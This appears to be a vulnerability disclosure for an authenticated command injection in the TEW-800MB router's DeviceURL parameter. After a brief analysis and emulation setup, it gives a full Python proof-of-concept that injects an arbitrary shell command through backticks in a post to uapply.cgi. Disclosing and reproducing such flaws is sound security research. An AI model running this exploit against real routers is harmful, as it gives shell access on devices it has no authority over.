Vulnerability Description

There is a command injection vulnerability in the TEW-800MB router with firmware version 1.0.1.0. If an attacker gains web management privileges, they can inject commands into the post request parameters DeviceURL in the httpd’s unknown function, thereby gaining shell privileges. The vulnerability can be exercised on the local intranet or remotely if remote administration is enabled.

Code Analysis

In the unknown function, the parameter DeviceURL can be controlled by user has command injection vulnerability. Follow according to the value of DeviceURL, it was found that system() function call:

Untitled

Environment setup:

Untitled

Set up the router environment through FirmAE.

Refer to pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis (github.com) for instructions

Untitled

Finished

Untitled

Vulnerability reproduction

Run exp

Untitled

Command injection successfully demonstrated

Untitled

PoC code:

import requests
import base64 
import re

if __name__ == '__main__':
    print('start !!! ')

    target = input("Enter Target IP : ")
    username = input("Enter Username : ")
    password = input("Enter Password : ")
    cmd = input("Enter you want cmd : ")
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
        'Cookie': "expandable=6c",
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit

    burp0_url = "http://" + target + "/uapply.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'page': '/adm/management.asp',
        'token': f'{token_value}',
        'DeviceURL': f'tew-800mb`{cmd}`',
        'action': 'Apply',
        'apply_do': 'setDeviceURL',
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)

    print("end !!! ")